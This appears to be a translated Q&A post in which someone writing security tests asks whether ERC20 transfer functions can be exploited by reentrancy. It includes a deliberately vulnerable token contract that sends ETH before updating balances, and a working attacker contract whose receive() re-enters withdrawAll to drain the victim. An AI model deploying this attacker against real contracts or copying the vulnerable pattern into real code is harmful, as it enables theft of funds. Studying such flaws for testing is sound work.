Cryptanalysis
如何編寫一個對 ERC20 代幣 transfer() 和 transferFrom() 函式執行可重入呼叫的函式?
描述
我正在為
ERC20
令牌編寫安全測試。我在網上研究了重入攻擊,發現它主要是通過在惡意合約中使用fallback()
orreceive()
函式遞歸呼叫withdrawEthers()
受害者合約的函式並最終耗盡所有儲存的資金來完成的。現在,我的問題是:是否有可能編寫這樣一個可重入函式來執行對不安全
ERC20.transfer()
或ERC20.transferFrom()
函式的類似遞歸呼叫,或者事實上甚ERC721.transfer()
至竊取令牌?合約原始碼
下面是一個虛擬的不安全令牌和一個攻擊者合約供參考:
虛擬令牌.sol
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract DummyERC20 { using Address for address payable; string public constant NAME = "DummyToken"; string public constant SYMBOL = "DMY"; uint8 public constant decimals = 18; uint256 _totalSupply; struct Allowed { mapping (address => uint256) _allowed; } mapping (address => Allowed) allowed; mapping (address => uint256) balances; event Transfer (address indexed _from, address indexed _to, uint256 _amount); event Approval (address indexed _owner, address indexed _spender, uint256 _amount); event TransferFrom (address indexed _spender, address indexed _from, address indexed _to, uint256 _amount); event Deposit (address indexed _caller, uint256 _amount); event Withdraw (address indexed _caller, uint256 _amount); function totalSupply () external view returns (uint256) { return _totalSupply; } function balanceOf (address _of) external view returns (uint256) { require (_of != address(0), "DummyToken: Cannot compute balance of null address"); return balances[_of]; } function deposit () external payable { balances[msg.sender] += msg.value; _totalSupply += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw (uint256 _amount) external { require (_amount <= balances[msg.sender], "DummyToken: Not enough balance"); payable(msg.sender).sendValue(_amount); balances[msg.sender] -= _amount; _totalSupply -= _amount; emit Withdraw(msg.sender, _amount); } function withdrawAll () external { require (balances[msg.sender] > 0, "DummyToken: Not enough balance"); payable(msg.sender).sendValue(balances[msg.sender]); // console.log("DummyToken contract balance: ", contractBalance()); // console.log("Caller Balance: ", balances[msg.sender]); balances[msg.sender] = 0; _totalSupply -= balances[msg.sender]; emit Withdraw(msg.sender, balances[msg.sender]); } function transfer (address _to, uint256 _amount) external { require (_amount < balances[msg.sender], "DummyToken: Not enough balance"); require (_to != address(0), "DummyToken: Cannot transfer tokens to null address"); balances[_to] += _amount; balances[msg.sender] -= _amount; emit Transfer(msg.sender, _to, _amount); } function approve (address _spender, uint256 _amount) external { require(_spender != address(0), "DummyToken: Spender cannot be null address"); allowed[msg.sender]._allowed[_spender] = _amount; emit Approval(msg.sender, _spender, _amount); } function allowance (address _owner, address _spender) external view returns (uint256) { require (_owner != address(0) && _spender != address(0), "DummyToken: Owner or spender cannot be null address"); return allowed[msg.sender]._allowed[_spender]; } function transferFrom (address _from, address _to, uint256 _amount) external { require (_from != address(0) && _to != address(0), "DummyToken: From or to addresses cannot be null address"); require (_amount <= allowed[_from]._allowed[msg.sender], "DummyToken: Spender does not have enough allowance"); require (_amount <= balances[_from], "DummyToken: From address does not have enough balance"); balances[_to] += _amount; balances[_from] -= _amount; allowed[_from]._allowed[msg.sender] -= _amount; emit TransferFrom(msg.sender, _from, _to, _amount); } function contractBalance () public view returns (uint256) { return address(this).balance; } }
虛擬攻擊者.sol
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; import "./DummyToken.sol"; contract DummyAttacker { DummyERC20 public immutable victim; address public owner; constructor (address _victim) { victim = DummyERC20(_victim); owner = msg.sender; } function deposit () external payable { require (msg.sender == owner); victim.deposit{value: msg.value}(); } function withdraw () external { require (msg.sender == owner); victim.withdrawAll(); } function attack () external payable { require (msg.sender == owner); victim.withdrawAll(); } receive () external payable { if (victim.contractBalance() > 0) { console.log("Reentering"); victim.withdrawAll(); } else { console.log("Attack success!!! Victim account drained."); } } function withdrawSpoils () external { require (msg.sender == owner); payable(owner).transfer(address(this).balance); } function getBalance () external view returns (uint256, uint256) { return (address(this).balance, address(victim).balance); } }